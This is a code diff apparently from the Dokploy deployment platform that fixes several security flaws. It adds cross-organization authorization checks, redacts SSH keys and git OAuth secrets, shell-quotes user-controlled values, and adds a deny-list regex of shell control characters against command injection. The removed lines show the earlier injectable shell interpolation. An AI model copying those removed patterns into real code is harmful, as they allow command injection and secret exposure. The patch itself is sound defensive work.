await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
|
||||
}
|
||||
|
||||
return currentServer;
|
||||
return redactServerSshKey(currentServer);
|
||||
} catch (error) {
|
||||
throw error;
|
||||
}
|
||||
|
||||
@@ -18,12 +18,30 @@ export const swarmRouter = createTRPCRouter({
|
||||
serverId: z.string().optional(),
|
||||
}),
|
||||
)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.serverId) {
|
||||
const server = await findServerById(input.serverId);
|
||||
if (server.organizationId !== ctx.session?.activeOrganizationId) {
|
||||
throw new TRPCError({
|
||||
code: "UNAUTHORIZED",
|
||||
message: "You are not authorized to access this server",
|
||||
});
|
||||
}
|
||||
}
|
||||
return await getSwarmNodes(input.serverId);
|
||||
}),
|
||||
getNodeInfo: withPermission("server", "read")
|
||||
.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.serverId) {
|
||||
const server = await findServerById(input.serverId);
|
||||
if (server.organizationId !== ctx.session?.activeOrganizationId) {
|
||||
throw new TRPCError({
|
||||
code: "UNAUTHORIZED",
|
||||
message: "You are not authorized to access this server",
|
||||
});
|
||||
}
|
||||
}
|
||||
return await getNodeInfo(input.nodeId, input.serverId);
|
||||
}),
|
||||
getNodeApps: withPermission("server", "read")
|
||||
@@ -32,7 +50,16 @@ export const swarmRouter = createTRPCRouter({
|
||||
serverId: z.string().optional(),
|
||||
}),
|
||||
)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.serverId) {
|
||||
const server = await findServerById(input.serverId);
|
||||
if (server.organizationId !== ctx.session?.activeOrganizationId) {
|
||||
throw new TRPCError({
|
||||
code: "UNAUTHORIZED",
|
||||
message: "You are not authorized to access this server",
|
||||
});
|
||||
}
|
||||
}
|
||||
return getNodeApplications(input.serverId);
|
||||
}),
|
||||
getAppInfos: withPermission("server", "read")
|
||||
@@ -54,7 +81,16 @@ export const swarmRouter = createTRPCRouter({
|
||||
serverId: z.string().optional(),
|
||||
}),
|
||||
)
|
||||
.query(async ({ input }) => {
|
||||
.query(async ({ input, ctx }) => {
|
||||
if (input.serverId) {
|
||||
const server = await findServerById(input.serverId);
|
||||
if (server.organizationId !== ctx.session?.activeOrganizationId) {
|
||||
throw new TRPCError({
|
||||
code: "UNAUTHORIZED",
|
||||
message: "You are not authorized to access this server",
|
||||
});
|
||||
}
|
||||
}
|
||||
return await getApplicationInfo(input.appName, input.serverId);
|
||||
}),
|
||||
getContainerStats: withPermission("server", "read")
|
||||
|
||||
@@ -102,10 +102,24 @@ export const findApplicationById = async (applicationId: string) => {
|
||||
redirects: true,
|
||||
security: true,
|
||||
ports: true,
|
||||
gitlab: true,
|
||||
github: true,
|
||||
bitbucket: true,
|
||||
gitea: true,
|
||||
gitlab: {
|
||||
columns: { secret: false, accessToken: false, refreshToken: false },
|
||||
},
|
||||
github: {
|
||||
columns: {
|
||||
githubClientSecret: false,
|
||||
githubPrivateKey: false,
|
||||
githubWebhookSecret: false,
|
||||
},
|
||||
},
|
||||
bitbucket: { columns: { appPassword: false, apiToken: false } },
|
||||
gitea: {
|
||||
columns: {
|
||||
clientSecret: false,
|
||||
accessToken: false,
|
||||
refreshToken: false,
|
||||
},
|
||||
},
|
||||
server: true,
|
||||
previewDeployments: true,
|
||||
registry: { columns: { password: false } },
|
||||
|
||||
@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
|
||||
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { encodeBase64 } from "../utils/docker/utils";
|
||||
import { getDokployUrl } from "./admin";
|
||||
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => {
|
||||
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
|
||||
const path =
|
||||
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
|
||||
const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
|
||||
const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
|
||||
if (compose.composeType === "docker-compose") {
|
||||
if (compose.serverId) {
|
||||
await execAsyncRemote(
|
||||
|
||||
@@ -2,6 +2,7 @@ import {
|
||||
execAsync,
|
||||
execAsyncRemote,
|
||||
} from "@dokploy/server/utils/process/execAsync";
|
||||
import { quote } from "shell-quote";
|
||||
|
||||
export const getContainers = async (serverId?: string | null) => {
|
||||
try {
|
||||
@@ -519,7 +520,7 @@ export const getSwarmNodes = async (serverId?: string) => {
|
||||
|
||||
export const getNodeInfo = async (nodeId: string, serverId?: string) => {
|
||||
try {
|
||||
const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
|
||||
const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
if (serverId) {
|
||||
|
||||
@@ -119,3 +119,30 @@ export const getAccessibleGitProviderIds = async (session: {
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
/**
|
||||
* Authorizes read access to a specific git provider for the current session.
|
||||
* Throws if the provider belongs to a different organization (cross-org IDOR)
|
||||
* or if the caller is not entitled to it within the active organization.
|
||||
* Must be called before returning any git-provider record that carries secrets
|
||||
* (OAuth tokens, app private keys, webhook secrets).
|
||||
*/
|
||||
export const assertGitProviderAccess = async (
|
||||
session: { userId: string; activeOrganizationId: string },
|
||||
provider: { gitProviderId: string; organizationId: string },
|
||||
) => {
|
||||
if (provider.organizationId !== session.activeOrganizationId) {
|
||||
throw new TRPCError({
|
||||
code: "NOT_FOUND",
|
||||
message: "Git provider not found",
|
||||
});
|
||||
}
|
||||
|
||||
const accessibleIds = await getAccessibleGitProviderIds(session);
|
||||
if (!accessibleIds.has(provider.gitProviderId)) {
|
||||
throw new TRPCError({
|
||||
code: "FORBIDDEN",
|
||||
message: "You don't have access to this git provider",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq, getTableColumns } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -140,7 +141,7 @@ export const deployLibsql = async (
|
||||
if (libsql.serverId) {
|
||||
await execAsyncRemote(
|
||||
libsql.serverId,
|
||||
`docker pull ${libsql.dockerImage}`,
|
||||
`docker pull ${quote([libsql.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq, getTableColumns } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -145,7 +146,7 @@ export const deployMariadb = async (
|
||||
if (mariadb.serverId) {
|
||||
await execAsyncRemote(
|
||||
mariadb.serverId,
|
||||
`docker pull ${mariadb.dockerImage}`,
|
||||
`docker pull ${quote([mariadb.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -12,6 +12,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq, getTableColumns } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -160,7 +161,7 @@ export const deployMongo = async (
|
||||
if (mongo.serverId) {
|
||||
await execAsyncRemote(
|
||||
mongo.serverId,
|
||||
`docker pull ${mongo.dockerImage}`,
|
||||
`docker pull ${quote([mongo.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq, getTableColumns } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -143,7 +144,7 @@ export const deployMySql = async (
|
||||
if (mysql.serverId) {
|
||||
await execAsyncRemote(
|
||||
mysql.serverId,
|
||||
`docker pull ${mysql.dockerImage}`,
|
||||
`docker pull ${quote([mysql.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq, getTableColumns } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -155,7 +156,7 @@ export const deployPostgres = async (
|
||||
if (postgres.serverId) {
|
||||
await execAsyncRemote(
|
||||
postgres.serverId,
|
||||
`docker pull ${postgres.dockerImage}`,
|
||||
`docker pull ${quote([postgres.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -10,6 +10,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { eq } from "drizzle-orm";
|
||||
import { quote } from "shell-quote";
|
||||
import type { z } from "zod";
|
||||
import { validUniqueServerAppName } from "./project";
|
||||
|
||||
@@ -110,7 +111,7 @@ export const deployRedis = async (
|
||||
if (redis.serverId) {
|
||||
await execAsyncRemote(
|
||||
redis.serverId,
|
||||
`docker pull ${redis.dockerImage}`,
|
||||
`docker pull ${quote([redis.dockerImage])}`,
|
||||
onData,
|
||||
);
|
||||
} else {
|
||||
|
||||
@@ -53,6 +53,27 @@ export const findServerById = async (serverId: string) => {
|
||||
return currentServer;
|
||||
};
|
||||
|
||||
/**
|
||||
* Removes the SSH private key material from a server record before it is sent
|
||||
* to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
|
||||
* server-side SSH operations), but the private key must never leave the server:
|
||||
* no client feature consumes it, and returning it exposed it to any member with
|
||||
* only `server:read`. Server-side callers keep using `findServerById` directly.
|
||||
*/
|
||||
export const redactServerSshKey = <
|
||||
T extends { sshKey?: { privateKey: string } | null },
|
||||
>(
|
||||
serverRecord: T,
|
||||
): T => {
|
||||
if (!serverRecord.sshKey) {
|
||||
return serverRecord;
|
||||
}
|
||||
return {
|
||||
...serverRecord,
|
||||
sshKey: { ...serverRecord.sshKey, privateKey: "" },
|
||||
};
|
||||
};
|
||||
|
||||
export const findServersByUserId = async (userId: string) => {
|
||||
const orgs = await db.query.organization.findMany({
|
||||
where: eq(organization.ownerId, userId),
|
||||
|
||||
@@ -2,6 +2,7 @@ import { logger } from "@dokploy/server/lib/logger";
|
||||
import type { BackupSchedule } from "@dokploy/server/services/backup";
|
||||
import type { Destination } from "@dokploy/server/services/destination";
|
||||
import { scheduledJobs, scheduleJob } from "node-schedule";
|
||||
import { quote } from "shell-quote";
|
||||
import { keepLatestNBackups } from ".";
|
||||
import { runComposeBackup } from "./compose";
|
||||
import { runLibsqlBackup } from "./libsql";
|
||||
@@ -90,11 +91,16 @@ export const getS3Credentials = (destination: Destination) => {
|
||||
return rcloneFlags;
|
||||
};
|
||||
|
||||
// User-controlled values (database name, user, password) are passed to the
|
||||
// container as environment variables via `docker exec -e VAR=<escaped>` and
|
||||
// referenced as "$VAR" inside the inner shell, so they never appear in the
|
||||
// inner command text. The -e value is escaped for the outer shell with
|
||||
// shell-quote; the inner script is single-quoted and reads the env vars.
|
||||
export const getPostgresBackupCommand = (
|
||||
database: string,
|
||||
databaseUser: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
|
||||
};
|
||||
|
||||
export const getMariadbBackupCommand = (
|
||||
@@ -102,14 +108,14 @@ export const getMariadbBackupCommand = (
|
||||
databaseUser: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
|
||||
};
|
||||
|
||||
export const getMysqlBackupCommand = (
|
||||
database: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
|
||||
};
|
||||
|
||||
export const getMongoBackupCommand = (
|
||||
@@ -117,11 +123,11 @@ export const getMongoBackupCommand = (
|
||||
databaseUser: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
|
||||
};
|
||||
|
||||
export const getLibsqlBackupCommand = (database: string) => {
|
||||
return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
|
||||
};
|
||||
|
||||
export const getServiceContainerCommand = (appName: string) => {
|
||||
|
||||
@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`;
|
||||
return bashCommand;
|
||||
};
|
||||
|
||||
// Shell control characters that must never appear in a user-provided compose
|
||||
// command: they would let it break out of the `docker ${command}` invocation
|
||||
// into arbitrary host commands. A normal docker compose CLI line never needs them.
|
||||
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
|
||||
|
||||
const sanitizeCommand = (command: string) => {
|
||||
const sanitizedCommand = command.trim();
|
||||
|
||||
if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
|
||||
throw new Error(
|
||||
"Invalid characters in compose command: shell control characters are not allowed",
|
||||
);
|
||||
}
|
||||
|
||||
const parts = sanitizedCommand.split(/\s+/);
|
||||
|
||||
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
|
||||
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => {
|
||||
let command = "";
|
||||
|
||||
if (composeType === "docker-compose") {
|
||||
command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
|
||||
command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
|
||||
} else if (composeType === "stack") {
|
||||
command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
|
||||
command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
|
||||
}
|
||||
|
||||
return command;
|
||||
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
|
||||
|
||||
const encodedContent = encodeBase64(envFileContent);
|
||||
return `
|
||||
touch ${envFilePath};
|
||||
echo "${encodedContent}" | base64 -d > "${envFilePath}";
|
||||
touch ${quote([envFilePath])};
|
||||
echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
|
||||
`;
|
||||
};
|
||||
|
||||
|
||||
@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
|
||||
}
|
||||
|
||||
command += `
|
||||
echo "Building ${appName}" ;
|
||||
cd ${dockerContextPath} || {
|
||||
echo "❌ The path ${dockerContextPath} does not exist" ;
|
||||
echo ${quote([`Building ${appName}`])} ;
|
||||
cd ${quote([dockerContextPath])} || {
|
||||
echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
|
||||
exit 1;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import path from "node:path";
|
||||
import { getStaticCommand } from "@dokploy/server/utils/builders/static";
|
||||
import { nanoid } from "nanoid";
|
||||
import { quote } from "shell-quote";
|
||||
import { prepareEnvironmentVariablesForShell } from "../docker/utils";
|
||||
import { getBuildAppDirectory } from "../filesystem/directory";
|
||||
import type { ApplicationNested } from ".";
|
||||
@@ -52,10 +53,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
|
||||
|
||||
bashCommand += `
|
||||
docker create --name ${buildContainerId} ${appName}
|
||||
mkdir -p ${localPath}
|
||||
docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || {
|
||||
mkdir -p ${quote([localPath])}
|
||||
docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
|
||||
docker rm ${buildContainerId}
|
||||
echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ;
|
||||
echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
|
||||
exit 1;
|
||||
}
|
||||
docker rm ${buildContainerId}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
|
||||
import { quote } from "shell-quote";
|
||||
import type { ApplicationNested } from "../builders";
|
||||
|
||||
export const buildRemoteDocker = async (application: ApplicationNested) => {
|
||||
@@ -9,7 +10,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
|
||||
throw new Error("Docker image not found");
|
||||
}
|
||||
let command = `
|
||||
echo "Pulling ${dockerImage}";
|
||||
echo ${quote([`Pulling ${dockerImage}`])};
|
||||
`;
|
||||
|
||||
if (username && password) {
|
||||
@@ -22,7 +23,7 @@ fi
|
||||
}
|
||||
|
||||
command += `
|
||||
docker pull ${dockerImage} 2>&1 || {
|
||||
docker pull ${quote([dockerImage])} 2>&1 || {
|
||||
echo "❌ Pulling image failed";
|
||||
exit 1;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import { quote } from "shell-quote";
|
||||
|
||||
// Escapes a value so it is safe to interpolate as a single argument into a
|
||||
// /bin/sh -c command string (local execAsync and remote SSH execAsyncRemote).
|
||||
/**
|
||||
* Escapes a single value so it can be safely interpolated as one argument into
|
||||
* a `/bin/sh -c` command string (both local `execAsync` and remote SSH
|
||||
* `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
|
||||
* repository owners and SSH hostnames must never reach a shell unescaped.
|
||||
*/
|
||||
export const shellWord = (value: string | number | null | undefined): string =>
|
||||
quote([String(value ?? "")]);
|
||||
|
||||
@@ -1,13 +1,17 @@
|
||||
import { quote } from "shell-quote";
|
||||
import {
|
||||
getComposeContainerCommand,
|
||||
getServiceContainerCommand,
|
||||
} from "../backups/utils";
|
||||
|
||||
// User-controlled values are passed to the container via `docker exec -e` and
|
||||
// read as "$VAR" inside a single-quoted inner script, so they never enter the
|
||||
// inner command text. See the matching note in backups/utils.ts.
|
||||
export const getPostgresRestoreCommand = (
|
||||
database: string,
|
||||
databaseUser: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
|
||||
};
|
||||
|
||||
export const getMariadbRestoreCommand = (
|
||||
@@ -15,14 +19,14 @@ export const getMariadbRestoreCommand = (
|
||||
databaseUser: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
|
||||
};
|
||||
|
||||
export const getMysqlRestoreCommand = (
|
||||
database: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID sh -c "mysql -u root -p'${databasePassword}' ${database}"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mysql -u root -p"$DB_PASS" "$DB_NAME"'`;
|
||||
};
|
||||
|
||||
export const getMongoRestoreCommand = (
|
||||
@@ -30,7 +34,7 @@ export const getMongoRestoreCommand = (
|
||||
databaseUser: string,
|
||||
databasePassword: string,
|
||||
) => {
|
||||
return `docker exec -i $CONTAINER_ID sh -c "mongorestore --username '${databaseUser}' --password '${databasePassword}' --authenticationDatabase admin --db ${database} --archive --drop"`;
|
||||
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mongorestore --username "$DB_USER" --password "$DB_PASS" --authenticationDatabase admin --db "$DB_NAME" --archive --drop'`;
|
||||
};
|
||||
|
||||
export const getComposeSearchCommand = (
|
||||
|
||||
Reference in New Issue
Block a user